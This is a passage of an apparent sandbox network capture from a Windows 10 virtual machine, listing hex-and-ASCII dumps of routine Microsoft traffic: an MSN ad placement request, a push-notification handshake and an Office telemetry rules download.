version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 01:55:04 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 01:54:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: 70fb63b7-01cb-451c-b0c8-8b7adf1ac366 PPServer: PPV: 30 H: BL02EPF0001DA2D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 01:55:03 GMT Connection: close Content-Length: 11177
2024-11-23 01:55:04 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49709	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:04 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015451Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=559ef8e357ef4a84bfc8a53e21aa4c4a&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597336&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597336&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATU6fhPXZYVho6a4p4vI2a74EooGr1lAbj7TEsMHWuixhG1doJrKKbt3trAazk79RhlGmjxG7bBJMzqYwbs1bBup/Dn5Wzb6bEjSIzdEBQ3r9jsDQYJP5YdEyLc1FkCdshJwVaqf+2v/wkpd7vfbiw7WBDTCl9nVIuCDTT1fTZGSLBLfeWhqPTpXzhhbTOKdYlchq5NRhYFLBm65xek5qYAnx0jxQvk/6khRtkjdw4MYGvFqJ59NfyJ6cd24DtcqZE732cRR0YGg6qTlkkoqaqSAGUhbBXC3lfimhuCY4NY/YD9QWVTjMhJsBmddSj/6X36mpEAhdqldMJNN7U1t33AQZgAAEKG6ZkjinWyAVbYH6pzMBSGwAVQQuR7JoZvuP5Xhij0ZN1dw4ntzMRnRE/APXuPaykVvZv3tt4gfhE6Bw/SVB+6JOrKpmSOyHUSGw2Xvck7Bow/yWIBP16DgPT95Dco1ZF+IXxo0ULNlyEoGQtirfFMxHz4AYDE2J68SlW9AdrErLQvXQXRnnM4lwAeQvNQ40EmasCVXPARkWLobN7yHXH4zbz2r3v73YqhfNAUYPXOqfuiROkgzi+za7kgiNVfquFD8oxAsFF35pEiIPhqsWjbGsHHC43JloUDOKaVxXsT0+qc66xgOLtBnakrBAJLIe9MvoRE5Ih8izEfoV3mNTJSATIaFj2H+Yv9/xFrHyDCPyzhsphi4tjSjaEQ308ZwRBOzZpqTzdQqToG8eKQmHZzZGrigTYhPN0qceMjI4GMb8wGO3PjkeY3BQWokoDMm3Vm8MP3fjMQ6qRobZDYnU+5/oMYizV2qG/0Zf9J7JTf+aULyymY8Ei4LqeF2AUVA7kfEoufplzZY+SHPzxFPdr5y6zCAjf5olTQGY17rYy7Lq16YbvGH44a7DDhZ/ho2kBW2NVrckFbTUFNPC6fczMZiH9cB&p= Cache-Control: no-cache MS-CV: m3aLdNeg20Grbb9S.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 01:55:04 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2937 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: dWAfPGRFjn+IsM0Q6brripRbbLU8TXyNA75bvrVkCT+Kg1iniSY836NMVFOXO01uZx4hPatLNJ+c+4cyV+fYbSvlxZ+Xx4LgMjJwTIWGzSfUSJ2C91Kwd+5EqkYdKLEtVhu9HkwhqEsMoRwjcBHgUsHD1X44EWrdYoT2D82kr/lATJsnfJ4YANJoS2emus+8W9QDJ5aKA0kGGRwFdSXYRK1eYyQ6wjGG4dKoq7dIBkkFwDuiJDr9ZTPgIEzRVGcyaGMPdV8OTK6DrNZrNuI0Ms4+vdUrA14fJ5sHZKytbQPISWBXWtGP+JzYBEuUERshklVqc2nSdh5yXx1JrnngVg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:04 GMT Connection: close
2024-11-23 01:55:04 UTC	2937	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49710	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:04 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015451Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ffa0ed179b164217bd5b2fa9973b8e37&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597336&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597336&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATU6fhPXZYVho6a4p4vI2a74EooGr1lAbj7TEsMHWuixhG1doJrKKbt3trAazk79RhlGmjxG7bBJMzqYwbs1bBup/Dn5Wzb6bEjSIzdEBQ3r9jsDQYJP5YdEyLc1FkCdshJwVaqf+2v/wkpd7vfbiw7WBDTCl9nVIuCDTT1fTZGSLBLfeWhqPTpXzhhbTOKdYlchq5NRhYFLBm65xek5qYAnx0jxQvk/6khRtkjdw4MYGvFqJ59NfyJ6cd24DtcqZE732cRR0YGg6qTlkkoqaqSAGUhbBXC3lfimhuCY4NY/YD9QWVTjMhJsBmddSj/6X36mpEAhdqldMJNN7U1t33AQZgAAEKG6ZkjinWyAVbYH6pzMBSGwAVQQuR7JoZvuP5Xhij0ZN1dw4ntzMRnRE/APXuPaykVvZv3tt4gfhE6Bw/SVB+6JOrKpmSOyHUSGw2Xvck7Bow/yWIBP16DgPT95Dco1ZF+IXxo0ULNlyEoGQtirfFMxHz4AYDE2J68SlW9AdrErLQvXQXRnnM4lwAeQvNQ40EmasCVXPARkWLobN7yHXH4zbz2r3v73YqhfNAUYPXOqfuiROkgzi+za7kgiNVfquFD8oxAsFF35pEiIPhqsWjbGsHHC43JloUDOKaVxXsT0+qc66xgOLtBnakrBAJLIe9MvoRE5Ih8izEfoV3mNTJSATIaFj2H+Yv9/xFrHyDCPyzhsphi4tjSjaEQ308ZwRBOzZpqTzdQqToG8eKQmHZzZGrigTYhPN0qceMjI4GMb8wGO3PjkeY3BQWokoDMm3Vm8MP3fjMQ6qRobZDYnU+5/oMYizV2qG/0Zf9J7JTf+aULyymY8Ei4LqeF2AUVA7kfEoufplzZY+SHPzxFPdr5y6zCAjf5olTQGY17rYy7Lq16YbvGH44a7DDhZ/ho2kBW2NVrckFbTUFNPC6fczMZiH9cB&p= Cache-Control: no-cache MS-CV: m3aLdNeg20Grbb9S.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 01:55:05 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1440 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: XU+Mtu6KB1NhPvg+a7ZSlE+Ea4Ng9QcX/Uk7pcHadlIIkfGLFq5ohV6mtC7XPg2Ix3gq/pKFd2FVx40PZoi+M9G9LJ8XRSe2bUvvVCGl8aLh4m+8KxSibZTdntJGgV98zqyTCVdlC+J1Cb/JyQlK/sEk4aZVeLQw5vZBV8vBI/uKJol9NAevuAzM1FEIFp+TV7eZ9n3Kh3/kdHadBeh34P+lF8XvjmSuHjsIoqumH8iIxzV/t7pihdY+5gVlX39k104V+6eYsn6K0hRJeJW0FjpPffkEZ8EO614rAu9ESxV6OL4OfiO7wBImpi9CaTNNLf8khfVpUwU+796I99RGpQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:04 GMT Connection: close
2024-11-23 01:55:05 UTC	1440	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49713	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:10 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6e 71 6d 35 4b 6b 31 44 32 55 43 48 57 70 4d 33 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 36 39 34 36 32 31 34 66 30 37 35 30 35 34 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: nqm5Kk1D2UCHWpM3.1Context: b6946214f075054f
2024-11-23 01:55:10 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 01:55:10 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6e 71 6d 35 4b 6b 31 44 32 55 43 48 57 70 4d 33 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 36 39 34 36 32 31 34 66 30 37 35 30 35 34 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 37 76 61 74 57 6f 77 4a 61 51 30 45 61 52 53 5a 50 50 6e 62 55 74 6d 41 67 4d 4c 50 2b 4e 61 72 56 31 6e 32 4d 39 36 44 71 7a 34 4d 33 67 53 44 30 59 2b 39 38 79 54 41 6a 55 6c 71 59 76 73 45 6c 44 7a 66 43 50 76 35 69 37 73 58 34 32 43 63 36 4c 74 37 41 6f 70 6b 5a 47 6f 30 6b 73 42 64 63 6c 61 62 6f 56 48 4e 62 53 51 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: nqm5Kk1D2UCHWpM3.2Context: b6946214f075054f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS7vatWowJaQ0EaRSZPPnbUtmAgMLP+NarV1n2M96Dqz4M3gSD0Y+98yTAjUlqYvsElDzfCPv5i7sX42Cc6Lt7AopkZGo0ksBdclaboVHNbSQW
2024-11-23 01:55:10 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6e 71 6d 35 4b 6b 31 44 32 55 43 48 57 70 4d 33 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 36 39 34 36 32 31 34 66 30 37 35 30 35 34 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: nqm5Kk1D2UCHWpM3.3Context: b6946214f075054f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 01:55:11 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 01:55:11 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 4d 55 70 78 71 79 6a 37 30 53 54 66 78 2b 63 52 32 31 2b 4d 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: pMUpxqyj70STfx+cR21+Mg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:13 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:13 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 21 Nov 2024 12:25:08 GMT ETag: "0x8DD0A27899CAFB6" x-ms-request-id: cb7fa3cf-001e-000b-073d-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015513Z-15b8b599d88tr2flhC1TEB5gk4000000029g00000000gx7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:13 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 01:55:13 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 01:55:13 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 01:55:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
